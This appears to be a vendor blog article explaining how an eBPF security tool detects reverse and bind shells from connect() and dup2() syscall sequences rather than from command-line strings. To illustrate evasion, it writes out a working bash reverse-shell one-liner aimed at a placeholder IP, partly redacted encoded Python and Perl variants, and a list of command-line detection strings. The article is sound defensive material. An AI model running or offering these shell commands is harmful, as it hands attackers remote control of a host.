Skip to content
eBPF Security

Reverse Shell Detection at the Syscall Level

8 min read

A reverse shell is the attacker's first real foothold. They trick your server into connecting back to their machine and handing over an interactive shell. From there, everything else follows: privilege escalation, data exfiltration, persistence. If you can detect the reverse shell, you can stop the entire attack chain before it begins.

The problem is that most detection tools try to catch reverse shells by pattern-matching the command line. That approach is fundamentally broken. InnerWarden takes a different approach entirely: it watches the syscalls. A reverse shell must call connect() and then dup2() to redirect stdin, stdout, and stderr. No matter what language it is written in, no matter how obfuscated the command string is, it cannot avoid these syscalls.

Why regex-based detection fails

Rules that work on the command line, which is how many SIEM and host IDS rules detect reverse shells, look for strings like "bash -i", "/dev/tcp", "nc -e", or "python -c import socket". This works against copy-pasted one-liners from blog posts. It fails against anyone who spends five minutes on evasion.

The same reverse shell, 6 ways
# Classic bash (every string rule catches this)
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

# Base64 encoded (evades string matching)
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4... | base64 -d | bash

# Python with variable indirection (evades "import socket")
python3 -c "exec(__import__('base64').b64decode('aW1wb3J...'))"

# Perl without the word "socket"
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket...'

# Compiled Go binary (no command line to match at all)
./innocent-looking-binary

# Rust, Zig, or any compiled language
# The command line is just: ./update-agent

For every regex pattern you write, there are dozens of evasion techniques. Base64 encoding. String concatenation. Variable indirection. Compiled binaries with no command-line artifacts. The cat-and-mouse game is unwinnable at the string-matching level.

The syscall sequence that defines a reverse shell

Every reverse shell, in every programming language, on every operating system, must do exactly two things at the kernel level:

  • connect() to an external IP address, creating a socket file descriptor.
  • dup2() to redirect file descriptors 0 (stdin), 1 (stdout), and 2 (stderr) to that socket.

That is the definition of a reverse shell. Not a bash command. Not a Python import. The act of connecting to a remote host and then wiring your standard I/O to that connection. If a process does both within a short time window, it is a reverse shell. Period.

Syscall sequence (any language)
PID 31847:
  1. socket(AF_INET, SOCK_STREAM, 0)     → fd=3
  2. connect(fd=3, {10.0.0.1:4444}, 16)  → 0 (success)
  3. dup2(fd=3, 0)  // stdin  → socket   → TRACKED
  4. dup2(fd=3, 1)  // stdout → socket   → TRACKED
  5. dup2(fd=3, 2)  // stderr → socket   → DETECTED
  6. execve("/bin/sh", ["/bin/sh", "-i"]) → shell spawned

InnerWarden sees steps 2-5 via eBPF.
Time between connect() and last dup2(): 4ms.
Verdict: REVERSE SHELL. Correlation rule CL-007 fires.

How InnerWarden tracks the sequence

InnerWarden uses two eBPF tracepoints to build the detection chain. The connect tracepoint fires on every outbound connection. The dup tracepoint fires on every dup2() and dup3() call. Both are attached at the kernel level and see all processes, all languages, all containers.

Detection logic (simplified)
// eBPF map: track recent outbound connections per PID
// Key: (pid, tgid)  Value: (remote_ip, remote_port, timestamp, socket_fd)
BPF_MAP: pid_connections  // LRU hash, 8192 entries

// On connect() tracepoint:
fn on_connect(ctx) {
    let pid = bpf_get_current_pid_tgid();
    let addr = ctx.args.addr;  // sockaddr_in
    if addr.family == AF_INET && !is_private(addr.ip) {
        pid_connections.insert(pid, ConnInfo {
            remote_ip: addr.ip,
            remote_port: addr.port,
            timestamp: bpf_ktime_get_ns(),
            socket_fd: ctx.args.fd,
        });
    }
}

// On dup2/dup3 tracepoint:
fn on_dup(ctx) {
    let pid = bpf_get_current_pid_tgid();
    let new_fd = ctx.args.newfd;
    if new_fd <= 2 {  // stdin=0, stdout=1, stderr=2
        if let Some(conn) = pid_connections.get(pid) {
            let elapsed = now() - conn.timestamp;
            if elapsed < 10_000_000_000 {  // 10 seconds
                emit_event("dup.redirect", pid, conn, new_fd);
            }
        }
    }
}

The eBPF programs run in the kernel. They have zero overhead on processes that do not match (the common case). The LRU hash map automatically evicts old entries, so memory is bounded at a fixed size. The 10-second window between connect() and dup2() is generous. In practice, reverse shells complete the sequence in under 100 milliseconds.

Bind shells: the mirror pattern

A bind shell is the inverse of a reverse shell. Instead of the victim connecting outward, the victim listens on a port and the attacker connects inward. The syscall pattern is slightly different:

Bind shell syscall sequence
PID 44102:
  1. socket(AF_INET, SOCK_STREAM, 0)    → fd=3
  2. bind(fd=3, {0.0.0.0:9999}, 16)     → 0
  3. listen(fd=3, 1)                     → 0
  4. accept(fd=3, ...)                   → fd=4 (attacker connects)
  5. dup2(fd=4, 0)  // stdin  → socket  → TRACKED
  6. dup2(fd=4, 1)  // stdout → socket  → TRACKED
  7. dup2(fd=4, 2)  // stderr → socket  → DETECTED

Same dup2() pattern. Different setup.
InnerWarden tracks bind() + listen() via additional tracepoints.

InnerWarden monitors bind() and listen() tracepoints in addition to connect(). When a process binds to a port that is not in the baseline of known listening services, and then performs dup2() on file descriptors 0, 1, 2 after accepting a connection, the same detection fires. Bind shells get no special treatment. They are caught by the same fundamental pattern.

Why command-line tricks do not evade it

Let's be precise about the evasion options an attacker has. They can change the command line. They can encode strings. They can compile a custom binary. They can use any programming language. None of that matters. The syscalls must happen.

  • Obfuscated bash still calls connect() and dup2() through /dev/tcp. The eBPF tracepoint sees the syscall, not the bash syntax.
  • Compiled Go/Rust binary still calls connect() and dup2() via the runtime's syscall interface. No command line to inspect, but the kernel sees every syscall.
  • Python with exec() still bottlenecks through the kernel's socket and dup syscalls. The CPython interpreter issues the same connect() call as a C program.
  • In-memory shellcode loaded via memfd_create still needs connect() and dup2() to establish the interactive channel. And memfd_create itself is also tracked by InnerWarden's fileless detection.

That does not make it impossible to evade. The obvious way around it is to avoid dup2() entirely, which means not redirecting stdin/stdout to the socket, which means not having a classic interactive shell. That is a non-interactive backdoor, which this rule does not see; the outbound anomaly detection is a different path that may. An attacker with kernel-level access can also tamper with the sensor itself. What the syscall view removes is the cheap evasion: re-encoding the command line.

Comparison with Falco

Falco is the most widely used eBPF-based runtime security tool, and it is not limited to command lines. Its default rules include one that fires when a process's stdin or stdout is redirected to a network connection, the same dup2 signal this detector uses; in the default ruleset that rule targets containers. The differences are scope and response, not data.

ApproachInnerWardenFalco
Data sourceeBPF (tracepoints, kprobes, LSM)eBPF or kernel module
Detection methodSyscall sequence per process: connect, then dup2 onto the socketRules over syscall events, including fd redirection to a network connection
Default scopeEvery process on the hostThe fd-redirect rule targets containers by default
ResponseAlert; on Linux with Pro or Enterprise, deny the exec that followsAlert; response through separate tooling

Falco is a strong runtime detection tool, and if you already run it, its fd-redirect rule covers much of the same ground inside containers. The case for the sequence approach here is host-wide scope and, on Linux, a kernel deny instead of an alert.

Correlation rule CL-007

The dup2() detection does not exist in isolation. It feeds directly into InnerWarden's cross-layer correlation engine as rule CL-007: Reverse Shell (eBPF Sequence).

CL-007 definition
Rule:    CL-007 "Reverse Shell (eBPF Sequence)"
Stage 1: Network layer - outbound connect to external IP
Stage 2: Kernel layer  - dup2() redirect on fd 0, 1, or 2
Pivot:   PID (same process must do both)
Window:  10 seconds
Severity: Critical
Confidence: 0.9

Outcome:
  → Incident created (Critical)
  → Process killed (if kill_process skill enabled)
  → IP blocked (via XDP or firewall skill)
  → Operator alerted (Telegram / Slack / webhook)
  → Forensic snapshot of process tree

The 10-second window and PID pivot mean the correlation is tight, and few legitimate programs connect to an external IP and then redirect stdin/stdout to the socket, which is why the rule is trusted with an automated response. We have not published a measured false-positive rate for it. The 0.9 confidence threshold reflects this: CL-007 triggers immediate automated response without waiting for human review.

What to do next

  • eBPF kernel security - how the sensor's 74 eBPF programs (defined in source) are organised, including the connect probes used for reverse shell detection.
  • Cross-layer correlation - how CL-007 fits into the broader 23-rule correlation engine.
  • Baseline learning - the anomaly detection layer that catches non-interactive backdoors that avoid the dup2() pattern.
  • Obfuscated reverse shells - deeper catalog of evasion techniques and why command-line detection cannot keep up.
Related reading

Keep following the attack path

Explore eBPF and Kernel Security